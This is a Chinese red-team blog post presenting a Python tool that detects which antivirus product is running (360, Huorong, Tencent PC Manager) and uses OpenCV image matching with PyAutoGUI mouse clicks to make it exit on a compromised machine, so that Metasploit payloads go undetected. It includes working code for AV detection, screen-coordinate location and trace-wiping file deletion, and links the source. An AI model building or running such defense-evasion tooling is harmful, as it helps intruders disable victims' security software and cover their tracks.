红队利用之利用PyautoGUI实现自动对某数字,某绒和某管家的退出

2020-05-26 16:27:54 浏览数 (1)

起因:

4月份的某一天,在玩内网渗透的时候,发现一些比较好的免杀工具的确能让木马对杀毒软件实现绕过,这种免杀工具的连接端大部分是MSF的,在MSF里面进行后渗透操作的时候,MSF会再向目标计算机发送可执行文件,这时可执行文件就不再免杀了,加入对方电脑上安装了杀毒软件的话,基本GG了,因为MSF原生的payload已经被各大杀软爆菊了,所以才萌生了自动关闭杀毒软件的想法!

昨天看到 S0cke3t巨佬的文章,才发现这个想法居然跟巨佬的差不多,这可能是我这长在这么大离巨佬思维最近的一次了。但是巨佬wmic和注册表操作是我没想到的,向巨佬学习~

功能实现

1. 识别杀软

为了实现自动识别杀毒软件的功能,首先要知道系统运行了哪些杀毒软件,CMD命令tasklist可以列出系统正在运行的进程,将其与已知的杀毒软件进行进行匹配即可,如果进程中有与av_process里的进程名,说明该电脑正在运行XX杀毒软件。这里需要做个判断,如果不存在杀毒软件的话,则退出该程序。

av_process = {'hr': 'HipsTray.exe', 'txgj': 'QQPCTray.exe', '360': '360sd.exe'}

def runningAVs():

tasklist = popen('tasklist').read().split()

for av_exe in av_process.values():

if av_exe in tasklist:

usingAV = [k for k, v in av_process.items() if v == av_exe][0]

return usingAV

图1 判断运行杀毒软件的函数

try:

AV = runningAVs()

print(AV)

# 将对应的logo写入

logo_b64 = b64_AV_logo[AV]

logo_img = base64.b64decode(logo_b64)

with open(logoImage, 'wb') as f:

f.write(logo_img)

# 输出通用的‘退出’字符串图片

with open(logoutImage, 'wb') as f:

f.write(base64.b64decode(b64_logout))

# 通过杀毒软件判断最后一步退出步骤应该使用的字样

if AV == r'hr':

return b64_logout

elif AV == r'360':

return b64_blue_comfirm

else:

return b64_white_comfirm

except :

print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ')

exit()

图2 不存在杀毒软件,程序退出,存在的话,将logo最为图片输出

2. 坐标获取

知道目标主机运行的程序后就需要准备关闭它了,这时候使用opencv的图像识别技术,找到目标(杀毒软件)logo在屏幕的位置,以坐标形式进行返回,用于对鼠标的定位。

def get_position(imgSource, imgTarget):

source = cv2.imread(imgSource, 0) # 0-灰度处理,防止颜色不同对定位产生影响

target = cv2.imread(imgTarget, 0)

wight, height = target.shape[::-1] # 获取图片长和宽,方便确定文字的中新坐标

res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED)

min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)

pos_x = int(max_loc[0] wight / 2)

pos_y = int(max_loc[1] height / 2)

# print(pos_x, pos_y)

return pos_x, pos_y

3. 鼠标操作

这是PyautoGUI库的功能,此程序用到的只是rightClick,Click功能,主要是利用opencv获取到的坐标,让鼠标进行移动到对应的位置,然后进行右击和点击操作。

4. 清理痕迹

活干完了,总不能抢前走人吧,至少得擦掉一些痕迹吧!由于需要多次通过图片对比来找到坐标,所以会在目标电脑里保存6张图片,所以当杀毒软件退出后,我们需要将其删除。CMD的del命令可以删除文件(不是移动到回收站,而是直接删除)

def clean():

popen(r'del /q {} {} {} {} {} {}'.format(logoutImage, logoImage, comfireImage,

screen_before,screen_logout, screen_logout))

5. Tips

a) 关于sleep:为什么需要sleep?

Pyautogui进行截屏操作的时候需要时间(100ms左右,电脑性能会导致时间长短不同),sleep时长跟电脑性能有关,如果目标主机性能足够好的话,可以适当减小sleep时长。

b) 关于图片存放位置:为什么不直接在当前目录下?

在当前目录下由于图片中有类似‘退出’、‘确认’字样,会被opencv识别,导致定位不准,所以必须保存在其他目录下

c) 关于打开右下角隐藏起的图标

Win B,再按一下空格键或者回车键

d) 关于图片保存

这一点我的思路跟巨佬相同,先将图片转为base64,需要用的时候再将其解码回来即可。而且重要的是,当进行渗透的时候,只需要上传一个文件!减少上传的文件数量!

成果展示

关闭360

关闭某管家

关闭某绒

该项目目前只是一个demo,还有很多需要优化的地方,比如opencv的识别细致度可能稍微较弱,可能导致有时候图像识别不够准确,也仅在个别地方做了异常处理。后续版本会处理以上问题。

源码地址:https://github.com/PDWR/AVKiller

0 人点赞